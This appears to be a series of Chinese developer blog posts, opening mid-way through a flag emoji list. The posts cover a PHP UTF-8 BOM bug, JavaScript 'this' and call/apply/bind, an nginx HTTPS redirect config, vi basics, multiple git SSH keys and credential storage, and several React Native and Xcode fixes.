Flag(name: "Kyrgyzstan", image: "🇰🇬"),
Flag(name: "Cambodia", image: "🇰🇭"),
Flag(name: "Kiribati", image: "🇰🇮"),
Flag(name: "Comoros", image: "🇰🇲"),
Flag(name: "St. Kitts & Nevis", image: "🇰🇳"),
Flag(name: "North Korea", image: "🇰🇵"),
Flag(name: "South Korea", image: "🇰🇷"),
Flag(name: "Kuwait", image: "🇰🇼"),
Flag(name: "Cayman Islands", image: "🇰🇾"),
Flag(name: "Kazakhstan", image: "🇰🇿"),
Flag(name: "Laos", image: "🇱🇦"),
Flag(name: "Lebanon", image: "🇱🇧"),
Flag(name: "St. Lucia", image: "🇱🇨"),
Flag(name: "Liechtenstein", image: "🇱🇮"),
Flag(name: "Sri Lanka", image: "🇱🇰"),
Flag(name: "Liberia", image: "🇱🇷"),
Flag(name: "Lesotho", image: "🇱🇸"),
Flag(name: "Lithuania", image: "🇱🇹"),
Flag(name: "Luxembourg", image: "🇱🇺"),
Flag(name: "Latvia", image: "🇱🇻"),
Flag(name: "Libya", image: "🇱🇾"),
Flag(name: "Morocco", image: "🇲🇦"),
Flag(name: "Monaco", image: "🇲🇨"),
Flag(name: "Moldova", image: "🇲🇩"),
Flag(name: "Montenegro", image: "🇲🇪"),
// Flag(name: "St. Martin", image: "🇲🇫"), // 跟法国一样
Flag(name: "Madagascar", image: "🇲🇬"),
Flag(name: "Marshall Islands", image: "🇲🇭"),
Flag(name: "North Macedonia", image: "🇲🇰"),
Flag(name: "Mali", image: "🇲🇱"),
Flag(name: "Myanmar (Burma)", image: "🇲🇲"),
Flag(name: "Mongolia", image: "🇲🇳"),
Flag(name: "Macao Sar China", image: "🇲🇴"),
Flag(name: "Northern Mariana Islands", image: "🇲🇵"),
Flag(name: "Martinique", image: "🇲🇶"),
Flag(name: "Mauritania", image: "🇲🇷"),
Flag(name: "Montserrat", image: "🇲🇸"),
Flag(name: "Malta", image: "🇲🇹"),
Flag(name: "Mauritius", image: "🇲🇺"),
Flag(name: "Maldives", image: "🇲🇻"),
Flag(name: "Malawi", image: "🇲🇼"),
Flag(name: "Mexico", image: "🇲🇽"),
Flag(name: "Malaysia", image: "🇲🇾"),
Flag(name: "Mozambique", image: "🇲🇿"),
Flag(name: "Namibia", image: "🇳🇦"),
Flag(name: "New Caledonia", image: "🇳🇨"),
Flag(name: "Niger", image: "🇳🇪"),
Flag(name: "Norfolk Island", image: "🇳🇫"),
Flag(name: "Nigeria", image: "🇳🇬"),
Flag(name: "Nicaragua", image: "🇳🇮"),
Flag(name: "Netherlands", image: "🇳🇱"),
Flag(name: "Norway", image: "🇳🇴"),
Flag(name: "Nepal", image: "🇳🇵"),
Flag(name: "Nauru", image: "🇳🇷"),
Flag(name: "Niue", image: "🇳🇺"),
Flag(name: "New Zealand", image: "🇳🇿"),
Flag(name: "Oman", image: "🇴🇲"),
Flag(name: "Panama", image: "🇵🇦"),
Flag(name: "Peru", image: "🇵🇪"),
Flag(name: "French Polynesia", image: "🇵🇫"),
Flag(name: "Papua New Guinea", image: "🇵🇬"),
Flag(name: "Philippines", image: "🇵🇭"),
Flag(name: "Pakistan", image: "🇵🇰"),
Flag(name: "Poland", image: "🇵🇱"),
Flag(name: "St. Pierre & Miquelon", image: "🇵🇲"),
Flag(name: "Pitcairn Islands", image: "🇵🇳"),
Flag(name: "Puerto Rico", image: "🇵🇷"),
Flag(name: "Palestinian Territories", image: "🇵🇸"),
Flag(name: "Portugal", image: "🇵🇹"),
Flag(name: "Palau", image: "🇵🇼"),
Flag(name: "Paraguay", image: "🇵🇾"),
Flag(name: "Qatar", image: "🇶🇦"),
Flag(name: "Réunion", image: "🇷🇪"),
Flag(name: "Romania", image: "🇷🇴"),
Flag(name: "Serbia", image: "🇷🇸"),
Flag(name: "Russia", image: "🇷🇺"),
Flag(name: "Rwanda", image: "🇷🇼"),
Flag(name: "Saudi Arabia", image: "🇸🇦"),
Flag(name: "Solomon Islands", image: "🇸🇧"),
Flag(name: "Seychelles", image: "🇸🇨"),
Flag(name: "Sudan", image: "🇸🇩"),
Flag(name: "Sweden", image: "🇸🇪"),
Flag(name: "Singapore", image: "🇸🇬"),
Flag(name: "St. Helena", image: "🇸🇭"),
Flag(name: "Slovenia", image: "🇸🇮"),
// Flag(name: "Svalbard & Jan Mayen", image: "🇸🇯"), // the same flag as Norway
Flag(name: "Slovakia", image: "🇸🇰"),
Flag(name: "Sierra Leone", image: "🇸🇱"),
Flag(name: "San Marino", image: "🇸🇲"),
Flag(name: "Senegal", image: "🇸🇳"),
Flag(name: "Somalia", image: "🇸🇴"),
Flag(name: "Suriname", image: "🇸🇷"),
Flag(name: "South Sudan", image: "🇸🇸"),
Flag(name: "São Tomé & Príncipe", image: "🇸🇹"),
Flag(name: "El Salvador", image: "🇸🇻"),
Flag(name: "Sint Maarten", image: "🇸🇽"),
Flag(name: "Syria", image: "🇸🇾"),
Flag(name: "Eswatini", image: "🇸🇿"),
Flag(name: "Tristan Da Cunha", image: "🇹🇦"),
Flag(name: "Turks & Caicos Islands", image: "🇹🇨"),
Flag(name: "Chad", image: "🇹🇩"),
Flag(name: "French Southern Territories", image: "🇹🇫"),
Flag(name: "Togo", image: "🇹🇬"),
Flag(name: "Thailand", image: "🇹🇭"),
Flag(name: "Tajikistan", image: "🇹🇯"),
Flag(name: "Tokelau", image: "🇹🇰"),
Flag(name: "Timor-Leste", image: "🇹🇱"),
Flag(name: "Turkmenistan", image: "🇹🇲"),
Flag(name: "Tunisia", image: "🇹🇳"),
Flag(name: "Tonga", image: "🇹🇴"),
Flag(name: "Turkey", image: "🇹🇷"),
Flag(name: "Trinidad & Tobago", image: "🇹🇹"),
Flag(name: "Tuvalu", image: "🇹🇻"),
// Flag(name: "Taiwan", image: "🇹🇼"),
Flag(name: "Tanzania", image: "🇹🇿"),
Flag(name: "Ukraine", image: "🇺🇦"),
Flag(name: "Uganda", image: "🇺🇬"),
// Flag(name: "U.S. Outlying Islands", image: "🇺🇲"), // the same flag as the United States
Flag(name: "United Nations", image: "🇺🇳"),
Flag(name: "United States", image: "🇺🇸"),
Flag(name: "Uruguay", image: "🇺🇾"),
Flag(name: "Uzbekistan", image: "🇺🇿"),
Flag(name: "Vatican City", image: "🇻🇦"),
Flag(name: "St. Vincent & Grenadines", image: "🇻🇨"),
Flag(name: "Venezuela", image: "🇻🇪"),
Flag(name: "British Virgin Islands", image: "🇻🇬"),
Flag(name: "U.S. Virgin Islands", image: "🇻🇮"),
Flag(name: "Vietnam", image: "🇻🇳"),
Flag(name: "Vanuatu", image: "🇻🇺"),
Flag(name: "Wallis & Futuna", image: "🇼🇫"),
Flag(name: "Samoa", image: "🇼🇸"),
Flag(name: "Kosovo", image: "🇽🇰"),
Flag(name: "Yemen", image: "🇾🇪"),
Flag(name: "Mayotte", image: "🇾🇹"),
Flag(name: "South Africa", image: "🇿🇦"),
Flag(name: "Zambia", image: "🇿🇲"),
Flag(name: "Zimbabwe", image: "🇿🇼"),
Flag(name: "England", image: "🏴"),
Flag(name: "Scotland", image: "🏴"),
Flag(name: "Wales", image: "🏴"),
]
记一次php上的一个bug,明明服务器上的图片都是没问题的,但是通过 imagepng
返回后,就是显示不出来。
检查了好多遍,代码逻辑肯定是没问题的了,因为在最后返回之前,debug 到图片都是没问题的,就是最后返回到前端的时候,总是显示错误。
查了好久,最后把返回的图片通过 base_64 来看看图片内容,竟然发现里面多了个 77u/
字符串,如下:
data:image/png;base64,77u/iVBORw0KGgoAAAANSUhEUgAAAMYAAADGBAMAAAB7teJuAAAAJqE...........
要知道,base64_decode('77u/') 就是 utf-8 文件的 BOM头 efbbbf,这回知道是怎么回事了,查找下代码,看看是哪个文件然后去掉即可。
本项目查到是一个语言包 zh_cn/common.php
的问题,应该是之前这个语言包发给翻译的同事翻译的时候,用 windows 机器打开编辑过的原因。
用 phpstorm 的同学,可以这样去掉:https://blog.csdn.net/coco1118/article/details/86552410
BOM: Byte Order Mark
UTF-8 BOM又叫UTF-8 签名,其实UTF-8 的BOM对UFT-8没有作用,是为了支援UTF-16,UTF-32才加上的BOM,BOM签名的意思就是告诉编辑器当前文件采用何种编码,方便编辑器识别,但是BOM虽然在编辑器中不显示,但是会产生输出,就像多了一个空行,
如果您在修改任何PHP文件後发生:
- 不能登入或者不能登出; * 页顶出现一条空白; * 页顶出现错误警告; * 其它不正常的情况。
则多半是编辑器的问题。
现在几乎所有的文本编辑软件都可以显示并编辑UTF-8编码的文件。但是很遗憾,其中很多软件的表现并不理想。
类似WINDOWS自带的记事本等软件,在保存一个以UTF-8编码的文件时,会在文件开始的地方插入三个不可见的字符(0xEF 0xBB 0xBF,即BOM)。它是一串隐藏的字符,用于让记事本等编辑器识别这个文件是否以UTF-8编码。对于一般的文件,这样并不会产生什么麻烦。
但对于 PHP来说,BOM是个大麻烦。
PHP并不会忽略BOM,所以在读取、包含或者引用这些文件时,会把BOM作为该文件开头正文的一部分。根据嵌入式语言的特点,这串字符将被直接执行(显示)出来。由此造成即使页面的 top padding 设置为0,也无法让整个网页紧贴浏览器顶部,因为在html一开头有这3个字符呢!
最大的麻烦还不是这个。受COOKIE送出机制的限制,在这些文件开头已经有BOM的文件中,COOKIE无法送出(因为在COOKIE送出前PHP已经送出了文件头),所以登入和登出功能失效。一切依赖COOKIE、SESSION实现的功能全部无效。
因此,在编辑、更改任何文本文件时,请务必使用不会乱加BOM的编辑器。Linux下的编辑器应该都没有这个问题。WINDOWS下,请勿使用记事本等编辑器。推荐的编辑器是: Editplus 2.12版本以上; EmEditor; UltraEdit(需要取消‘添加BOM’的相关选项); Dreamweaver(需要取消‘添加BOM’的相关选项) 等。
对于已经添加了BOM的文件,要取消的话,可以用以上编辑器另存一次。
在 Javascript 的学习中,this 的重要性不言而喻,而且容易被人误解,之前遇到过一位同学,在函数体内大量使用 this.xxx = xxx
的方式来定义变量,错误的以为 this
指代的是函数体内的命名空间,最后全部的变量都挂在 window
下而导致变量冲突。
这里就通过简单的方式来重点说明一下 this
的用法,当然,与之相关的两个也容易被忽略的方法 call
和 apply
也一同介绍一下。
要说 this
,必须先从「函数」说起,在 《Javascript 权威指南》里的「函数」那一节,有给 this
做了一翻解释,简单来说,可以这么理解:「this 关键字,是函数调用的上下文」
怎么去理解它呢,"一般" 来说,是酱紫的:
window
new
方式调用),this
指向返回的这个对象call
或 apply
间接调用,可指定 this
的指向this
值为全局对象,即 window
this
值为 undefined
var name = 'Job';
function getName() {
console.log(this === window); // true
console.log(this.name); // Job
return this.name;
};
getName(); // 普通函数调用
另外,补充一下「函数嵌套」的用法。
在嵌套函数里,如果想在内层函数访问最外层函数的上下文,通常的我们可以先把 this
的值保存在一个变量里(注意,this
是关键字,不能被赋值),比如:
var o = {
m: function() {
var self = this; // 将 this 值保存在一个变量中
console.log(this === o); // true,方法调用,this 指向该对象
f();
function f() {
console.log(this === o); // false,这里是普通调用,指向 window 或者是 undefined
console.log(self === o); // true
}
}
}
o.m();
当函数作为对象的方法被调用时,this
总是指向该对象。
var o = {
m: function() {
console.log(this === o); // true
}
}
o.m();
new
)作为构造函数调用时,this
指向返回的这个对象。
var o = function(name) {
this.name = name;
};
var object = new o('Eric');
console.log(object.name); // Eric
但是,有时候构造函数要是显式的返回一个对象时,this
指向的即是显式返回的那个对象。
其实,可以理解为,「this
指向的是返回的那个对象」,因为,构造函数总是会返回一个对象的,如果没有显示指定,则为隐式返回,如上面的例子。
var o = function(name) {
this.name = name;
return {
name: 'Chen'
}
};
var object = new o('Eric');
console.log(object.name); // Chen
call
/ apply
)通过 call() 和 apply() 方法,可以显式的指定 this
的指向。
var obj1 = {
name: '111',
getName: function() {
return this.name;
}
};
var obj2 = {
name: '222'
};
console.log(obj1.getName()); // 111
console.log(obj1.getName.call(obj2)); // 222
console.log(obj1.getName.apply(obj2)); // 222
call()
和 apply()
Javascript 中的函数也是对象,和其他 Javascript 对象没什么两样,函数对象也可以包含方法。
其中的两个方法 call() 和 apply() 就是每个函数都自带的,在 Function 原型上定义的两个方法,可以用来间接地调用函数,并且可以显式的指定 this
的指向。
call() 和 apply() 两者作用完全一样,差异就在于传参方式,两者第一个参数都是一样,代表所调用函数内 this
的指向,差异从第二个参数开始。
foo.call(obj, arg1, arg2) == foo.apply(obj, arguments)
上几个栗子:
window.name = "张三";
var student = {
name: '李四'
};
function getMessage(sex, age){
console.log(this.name + " 性别: " + sex + " age: " + age);
}
// 普通调用
getMessage('男', 18); // 张三 性别:男 age: 18
// call 调用,后面参数列举
getMessage.call(window, '男', 18); // 张三 性别:男 age: 18
getMessage.call(student, '女', 22); // 李四 性别:女 age: 22
// apply 调用,参数用「数组」传递
getMessage.apply(window, ['男', 18]); // 张三 性别:男 age: 18
getMessage.apply(student, ['女', 22]); // 李四 性别:女 age: 22
另外需要注意的是,第一个参数传的是 null
值的时候
this
会指向 null
this
会指向被调用函数的包装对象(wrapper object),如 window
例:非严格模式,this
会被包装对象代替。
window.name = "张三";
var student = {
name: '李四'
};
function getMessage(sex, age){
console.log(this.name + " 性别: " + sex + " age: " + age);
}
getMessage.call(null, '男', 18); // 张三 性别:男 age: 18
getMessage.apply(null, ['男', 18]); // 张三 性别:男 age: 18
例:严格模式,this
会指向 null
。
'use strict';
window.name = "张三";
var student = {
name: '李四'
};
function getMessage(sex, age){
console.log(this.name + " 性别: " + sex + " age: " + age);
}
getMessage.call(null, '男', 18); // 张三 性别:男 age: 18
getMessage.apply(null, ['男', 18]); // 张三 性别:男 age: 18
这里程序会报异常,因为 this
根据传进去的 null
而设置了 null
,因此 this.name
会抛异常。
bind
方法bind
方法是在 ES5 中新增的,是将函数绑定到某个对象,它返回的是一个新的绑定到新对象的函数,给新函数传入特定的上下文和一组指定的参数,然后调用原函数。
function f(y) {
return this.x + y;
}
var o = { x: 1 };
var g = f.bind(o); // g是一个新的函数,而且是绑定在对象o上的,可以通过 g() 来调用 o.f()
g(2); // 3
bind
方法的常见用法var sum = function(x, y) {
return x + y;
}
// 创建一个新函数,this绑向了null,并且将第一个参数绑定到1,这个新函数就只需要传入一个实参了
var succ = sum.bind(null, 1);
succ(2); // 3
function f(y, z) {
return this.x + y + z;
}
// 将this绑向{x:1},第一个参数y绑定到2,现在新函数g只需要传入1个参数z
var g = f.bind({x: 1}, 2);
g(3); // 6
arguments
Javascript 把传入到函数里的全部参数都存储在一个叫做 arguments
的类数组里面,但是因为是类数组,它比一般的数组少了一些内置的方法,比如 push
等。
所以,就不能这样去调用:
arguments.push(1);
要酱紫:
Array.prototype.push.call(arguments, 1);
下面例子,实现一个把所有参数相加的函数,无论传入多少个参数都行:
function add() {
var sum = 0;
for(var i=0; i < arguments.length; i++){
sum += arguments[i];
}
return sum;
}
console.log(add(1)); // 1
console.log(add(1, 2)); // 3
console.log(add(1, 2, 3)); // 6
下面是一个完整的例子:
server
{
listen 80;
listen [::]:80; # IP6 支持
server_name www.test.com test.com;
return 301 https://www.test.com$request_uri;
}
server
{
listen 443 ssl http2;
listen [::]:443 ssl http2; # IP6 支持
server_name www.test.com test.com;
index index.php index.html index.htm default.php default.htm default.html;
root /www/wwwroot/test;
#REWRITE-START
if ($host ~ '^test.com'){
return 301 https://www.test.com$request_uri;
}
#REWRITE-END
#SSL-START SSL相关配置,请勿删除或修改下一行带注释的404规则
#error_page 404/404.html;
#HTTP_TO_HTTPS_START
if ($server_port !~ 443){
rewrite ^(/.*)$ https://$host$1 permanent;
}
#HTTP_TO_HTTPS_END
ssl_certificate /www/server/panel/vhost/cert/www.test.com/fullchain.pem;
ssl_certificate_key /www/server/panel/vhost/cert/www.test.com/privkey.pem;
ssl_protocols TLSv1.1 TLSv1.2 TLSv1.3;
ssl_ciphers EECDH+CHACHA20:EECDH+CHACHA20-draft:EECDH+AES128:RSA+AES128:EECDH+AES256:RSA+AES256:EECDH+3DES:RSA+3DES:!MD5;
ssl_prefer_server_ciphers on;
ssl_session_cache shared:SSL:10m;
ssl_session_timeout 10m;
add_header Strict-Transport-Security "max-age=31536000";
error_page 497 https://$host$request_uri;
#SSL-END
#ERROR-PAGE-START 错误页配置,可以注释、删除或修改
#error_page 404 /404.html;
#error_page 502 /502.html;
#ERROR-PAGE-END
#PHP-INFO-START PHP引用配置,可以注释或修改
include enable-php-56.conf;
#PHP-INFO-END
#禁止访问的文件或目录
location ~ ^/(\.user.ini|\.htaccess|\.git|\.svn|\.project|LICENSE|README.md)
{
return 404;
}
location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$
{
expires 30d;
error_log /dev/null;
access_log /dev/null;
}
location ~ .*\.(js|css)?$
{
expires 12h;
error_log /dev/null;
access_log /dev/null;
}
access_log /www/wwwlogs/www.test.com.log;
error_log /www/wwwlogs/www.test.com.error.log;
}
配置修改完毕后执行 nginx -t
检查配置,检查没有问题后,执行 nginx -s reload
重启 nginx
服务即可。
最好再浏览器中检查网站访问效果时,最好清理下浏览器的缓存 cookie
等。可以看到访问 test.com
时都会返回 301 重定向,而 location 便是重定向的地址。
大概写于 2010 年 12 月 30 号,上传于 CSDN
vi 编辑器是所有 Unix 及 Linux 系统下标准的编辑器,它的强大不逊色于任何最新的文本编辑器,这里只是简单地介绍一下它的用法和一小部分指令。由于对 Unix 及 Linux 系统的任何版本,vi 编辑器是完全相同的,因此您可以在其他任何介绍 vi 的地方进一步了解它。vi 也是 Linux 中最基本的文本编辑器,学会它后,您将在 Linux 的世界里畅行无阻。
基本上 vi 可以分为三种状态:
命令行模式 ( Command mode )
控制屏幕光标的移动,字符、字或行的删除,移动复制某区段及进入 Insert mode 下,或者到 Last line mode。
插件模式 ( Insert mode )
只有在 Insert mode 下,才可以做文字输入,按「ESC」键可回到命令行模式。
底行模式 ( Last line mode )
将文件保存或退出 vi,也可以设置编辑环境,如寻找字符串、列出行号等。
不过一般我们在使用时把vi简化成两个模式,就是将底行模式( Last line mode )也算入命令行模式 Command mode )。
在系统提示符号输入 vi 及文件名称后,就进入vi全屏幕编辑画面
$ vi myfile
注意,进入vi之后,是处于「命令行模式(Command mode)」,要切换到「插入模式(Insert mode)」才能输入文字。
初次使用 vi 的同学都会想先用上下左右键移动光标,结果电脑一直哔哔叫,把自己气个半死,所以进入 vi 后,先不要乱动,转换到「插入模式(Insert mode)」再说吧!
在「命令行模式(command mode)」下按一下字母「i
」进入「插入模式(Insert mode)」,这时可开始输入文字了。
你目前处于「插入模式(Insert mode)」,你就只能一直输入文字,如果你发现输错了字!想用光标键往回移动,将该字删除,就要先按一下「ESC」键转到「命令行模式(command mode)」再删除文字。
在「命令行模式(command mode)」下,按一下「:
」冒号键进入「Last line mode」,例如:
: w filename
(输入 「w filename
」将文章以指定的文件名filename保存)wq
(输入「wq
」,存盘并退出 vi)q!
(输入「q!」, 不存盘强制退出 vi)i
」切换进入插入模式「insert mode」,从光标当前位置开始输入文件;a
」切换进入插入模式「insert mode」,从目前光标所在位置的下一个位置开始输入文字;o
」切换进入插入模式「insert mode」,从光标所在行向下插入新的一行,从行首开始输入文字。按「ESC」键即可退出当前模式,切换回命令行模式。
vi 可以直接用键盘上的光标来上下左右移动,但正规的 vi 是用小写英文字母「h
」、「j
」、「k
」、「l
」,分别控制光标左、下、上、右移一格。
命令 | 描述 |
---|---|
「ctrl 」+「b 」 |
屏幕往"后"移动一页 |
「ctrl 」+「f 」 |
屏幕往"前"移动一页 |
「ctrl 」+「u 」 |
屏幕往"后"移动半页 |
「ctrl 」+「d 」 |
屏幕往"前"移动半页 |
「0」数字 | 移到文章的开头 |
「G 」 |
移动到文章的最后 |
「$ 」 |
移动到光标所在行的 "行尾" |
「^ 」 |
移动到光标所在行的 "行首" |
「w 」 |
光标跳到下个字的开头 |
「e 」 |
光标跳到下个字的字尾 |
「b 」 |
光标回到上个字的开头 |
「#l 」 |
光标移到该行的第#个位置,如:5l , 56l |
x
」:每按一次,删除光标所在位置的 "后面" 1 个字符。#x
」:例如,「6x
」表示删除光标所在位置的 "后面" 6个字符。X
」:大写的X,每按一次,删除光标所在位置的 "前面" 一个字符。#X
」:例如,「20X
」表示删除光标所在位置的 "前面" 20个字符。dd
」:删除光标所在行。#dd
」:删除多行,例如,「20dd
」 表示从光标所在行开始往后删除 20 行。yw
」:将光标所在之处的『单词』复制到缓冲区中。#yw
」:复制多个『单词』到缓冲区,例如:「5yw
」 表示复制后面的5个单词。yy
」:复制光标所在行到缓冲区。#yy
」:复制多行,例如,「6yy
」表示复制从光标所在的该行 "往下数" 6行文字。p
」:将缓冲区内的字符粘贴到光标所在位置。注意:所有与
y
有关的复制命令都必须与p
配合才能完成复制与粘贴功能。
r
」:替换光标所在处的字符。R
」:可持续替换光标所到之处的字符,直到按下「ESC
」键为止。u
」:如果您误执行一个命令,可以马上按下「u
」,回到上一个操作。按多次「u
」可以执行多次恢复。s
」:删除当前字符并进入插入模式「insert mode」S
」:删除所在行并进入插入模式「insert mode」cw
」:删除当前『单词』并进入插入模式「insert mode」c#w
」:删除当前往后的多个『单词』并进入编辑模式例如,「c3w
」表示更改3个字「ctrl
」+「g
」列出光标所在行的行号。
在使用「Last line mode」之前,请记住先按「ESC
」键确定您已经处于「Command mode」下后,再按「:
」冒号即可进入「Last line mode」。
set nu
:输入 set nu
回车后,会在文件中的每一行前面列出行号。
「#
」:#
号表示一个数字,在冒号后输入一个数字,回车后会跳到对应行,如输入数字 15
回车,就会跳到文章的第15行。
/关键字
:从当前位置向下搜索。先按「/
」键,再输入您想寻找的字符,回车,如果第一次找的关键字不是您想要的,可以一直按「n
」会往后寻找到您要的关键字为止。?关键字
:从当前位置向上搜索。先按「?
」键,再输入您想寻找的字符,回车,如果第一次找的关键字不是您想要的,可以一直按「n
」会往前寻找到您要的关键字为止。w
:在冒号输入字母「w
」就可以将文件保存起来。
q
:退出文件编辑,如果无法退出,可以在「q
」后跟一个「!
」强制离开 vi,比如 q!
回车。
wq
:一般建议离开时,搭配「w
」一起使用,这样在退出的时候还可以先保存文件。
命令 | 描述 |
---|---|
「 h 」 |
左移光标一个字符 |
「l 」 |
右移光标一个字符 |
「k 」 |
光标上移一行 |
「j 」 |
光标下移一行 |
「^ 」 |
光标移动至行首 |
「0 」 |
数字 0 ,光标移至文章的开头 |
「G 」 |
光标移至文章的最后 |
「$ 」 |
光标移动至行尾 |
「ctrl 」 + 「f 」 |
向前翻屏 |
「ctrl + 「b 」 |
向后翻屏 |
「ctrl + 「d 」 |
向前翻半屏 |
「ctrl + 「u 」 |
向后翻半屏 |
「i 」 |
在光标位置前插入字符 |
「a 」 |
在光标所在位置的后一个字符开始增加 |
「o 」 |
插入新的一行,从行首开始输入 |
「ESC 」 |
从输入状态退至命令状态 |
「x 」 |
删除光标后面的字符 |
「#x 」 |
删除光标后的#个字符 |
「X 」 |
删除光标前面的字符 |
「#X 」 |
删除光标前面的#个字符 |
「dd 」 |
删除光标所在的行 |
「#dd 」 |
删除从光标所在行数的#行 |
「yw 」 |
复制光标所在位置的 1 个『单词』 |
「#yw 」 |
复制光标所在位置的 # 个『单词』 |
「yy 」 |
复制光标所在位置的一行 |
「#yy 」 |
复制从光标所在行数的 # 行 |
「p 」 |
粘贴 |
「u 」 |
撤销上 1 次操作 |
「cw 」 |
更改光标所在位置的 1 个『单词』 |
「#cw 」 |
更改光标所在位置的 # 个『单词』 |
命令 | 描述 |
---|---|
「 w filename 」 |
储存正在编辑的文件为 filename |
「 wq filename 」 |
储存正在编辑的文件为 filename,并退出 vi |
「 q 」 |
放弃所有修改,退出 vi |
「 q! 」 |
强制退出 vi |
「 set nu 」 |
显示行号 |
「 / 」或「? 」 |
查找,在 / 后输入要查找的内容按。按 「n 」 向后(/ )或向前(? )继续查找 |
n
与/
或?
一起使用,如果查找的内容不是想要找的关键字,,直到找到为止。
用 vi 打开文件后,是处于「命令行模式(command mode)」,您要切换到「插入模式(Insert mode)」才能够输入文字。切换方法:在「命令行模式(command mode)」下按一下字母「i
」就可以进入「插入模式(Insert mode)」,这时候你就可以开始输入文字了。
编辑好后,需从插入模式切换为命令行模式才能对文件进行保存,切换方法:按「ESC
」键。
保存并退出文件:在命令模式下输入 :wq
即可!( 别忘了wq前面的 :
)
「#G
」:例如,「15G
」,表示移动光标至文章的第15行行首。
CSDN地址(2016-07-04): http://blog.csdn.net/diamont1001/article/details/51822803
最近团队里多了几台Macbook,公司也有多个Git仓库,在设置多个Git ssh的时候遇到了些问题,但最后都解决了,下面记录下。
ssh-keygen -t rsa -C "[email protected]"
以上命令后,会让你输入ssh key的保存文件名,输入如下
~/.ssh/id_rsa_1
然后会让你输入密码,这个是ssh文件的密码,简单点就行,输入就行。
此时,会在~/.ssh目录下看到你生成的两个文件:
以Github为例:https://github.com/ -> Your profile -> edit profile -> SSH and GPG keys -> new SSH key
cat ~/.ssh/id_rsa_1.pub
把以上输出的内容全部复制并粘贴到git仓库站点ssh管理页面key那栏,title随意自己,可以写“my macbook"。
ssh-add -K ~/.ssh/id_rsa_1
以上已经完成一个ssh key的添加了。
再添加其他仓库的,重复以上(1)到(3)步骤即可,记得输入文件名的时候别重复了。
在 ~/.ssh
目录下新建一个 config 文件
touch config
添加内容:
#github
Host github
HostName github.com
User [email protected]
IdentityFile ~/.ssh/id_rsa_1
#gitlab
Host gitlab.com
HostName gitlab.com
User [email protected]
IdentityFile ~/.ssh/id_rsa_2
#github3
Host github3
HostName github3.com
User [email protected]
IdentityFile ~/.ssh/id_rsa_3
# ...
以上说的是 ssh 的方式,也就是通过 [email protected]
协议去拉取代码的情况,但如果使用 HTTP/HTTPS 协议拉取代码时则 SSH KEY 不可用,那怎么办呢?
注意:以下方式会以明文的方式保存账号密码在你本地,会有暴露的风险!
注意:以下方式会以明文的方式保存账号密码在你本地,会有暴露的风险!
注意:以下方式会以明文的方式保存账号密码在你本地,会有暴露的风险!
.git-credentials
文件cd ~
vi .git-credentials
按以下形式输入(一行一个):
https://{username}:{password}@xxx.com:8090
比如:
http://root:[email protected]:8090
https://root:[email protected]
git config --global credential.helper store
cat ~/.gitconfig
如果输出的内容有以下内容,即代码成功了:
[credential]
helper = store
之前遇到过好几次,在发布包的时候,npm publish
一直卡着,也没东西输出,就是卡着。
害的我把环境啥的都检查并重装了一遍,最后还是没能解决。
最后还是把代码交给同事,让同事给帮忙发布了……
直到最近,在新电脑上又出现了,这次决定再认真看下,打开了日志,竟然被我发现了其秘密……
代码里包含了个 /demo
,而 demo
里有测试代码,我在本地跑的时候,/demo/node_modules/
文件夹留了下来忘记删了,导致在 npm publish
的时候把整个 node_modules
目录都加进去吧,难怪会一直卡在那里呢。
解决方法,添加 .npmignore
文件,把 demo
文件夹排除了就好了!
demo/
pt
为单位, 可以通过 Dimensions 来获取宽高,PixelRatio 获取密度。alignItems
, 垂直居中用 justifyContent
fixed
定位的问题刚接触 RN,观念还停留在前端的常规布局时代,想要实现一个 Fixed 在底部的 Footer,结果发现 RN 没有 Fixed 定位,但是奇怪 react-navigation
的底部 tab 是怎么实现的。
其实 RN 的布局都是使用 flex 的,而 Fixed 和 Header 和 Footer 这些,其实是使用 flex 里的垂直布局。
<App>
<Header />
<ScrollView>
...
</ScrollView>
<Footer />
</App>
如上面的布局,如下即可实现:
1)App 的 flexDirection
为 column
,也就是垂直布局。
2)ScrollView 的 flexGrow
为 1,Header 和 Footer 都为默认(0)
还是布局问题,react native 的布局中,display 属性值只有 flex
和 none
两个值,所以要想像传统 CSS 这样把 display 设成 inline
是行不通的。
可以这样解决:
<View style={styles.container}>
<Text>Hello</Text>
</View>
const styles = StyleSheet.create({
container: {
flexDirection: 'row',
alignSelf: 'flex-start',
}
});
或者这样:
<View style={styles.container}>
<Flex>
<Text>Hello</Text>
<Text>World</Text>
</Flex>
</View>
const styles = StyleSheet.create({
container: {
flexWrap: 'wrap',
}
});
spawn ./gradlew EACCES
新环境刚拉的项目代码,运行 yarn android
可能会遇到以下报错:
error Failed to install the app. Make sure you have the Android development environment set up: https://reactnative.dev/docs/environment-setup.
Error: spawn ./gradlew EACCES
at Process.ChildProcess._handle.onexit (node:internal/child_process:283:19)
at onErrorNT (node:internal/child_process:478:16)
at processTicksAndRejections (node:internal/process/task_queues:83:21)
查了一圈,原来是 android
文件夹的权限问题,解决方法很简单,给文件夹加个权限就行:
chmod 755 android/gradlew
今天在 x-code 的 ios 模拟器上进行调试的时候,突然之间模拟器变的好卡,非常卡,第一反应,是不是我程序内存泄露了,然后重启了下 x-code,还是不行,最后重新电脑,还是不行……还以为是电脑坏了……
搞很久还是不行,用真机调试没问题,真要崩溃!
最后的最后,不小心百度了下,竟然有答案,答案就是,我调试的时候不小心按到了 command + t
,也就是开启了【动画慢动作】功能…… 这个功能的快捷键就是 command + t
,跟 Reload 的 command + r
挨的很近……
这肯定就是苹果的开发人员故意的,故意陷害我们的,嗯,一定是这样……
AsyncStorage.setItem(key, value)
注意 value 只能是字符串形式,比如下面这个会出错:
AsyncStorage.setItem('key', 1);
要改成:
AsyncStorage.setItem('key', 1 + '');
console.dir
,生产环境会白屏;可以用 console.log
昨天发现一个比较奇怪的问题,在本地调试、真机调试都没有问题,但一个 testFlight 就白屏。
找了好久没找出问题,最后好不容易才把问题定位到了 console.dir
上了。
console.dir
是可以把对象的所有属性的方法都打印出来,但是因为它不是标准的,千万别用到生产环境。
可以用的 console
方法:
升级了 Android Studio 之后,出现了 Gradle sync failed: Already disposed!
这个错误,而且怎么重新打包都不行,网上找了相关资料,给出了解决文案:
删除 android/.idea/modules.xml
文件,然后重新构建一次即可。
cd ~
mv .itmstransporter/ .old_itmstransporter/
"/Applications/Xcode.app/Contents/Applications/Application Loader.app/Contents/itms/bin/iTMSTransporter"
第三条命令执行很费时,而且网络不好时会卡着不会显示任何内容,可以切换网络试试,我切换到手机4G马上就好了。
然后,再重新试下上传,应该就可以了。
参考:简书
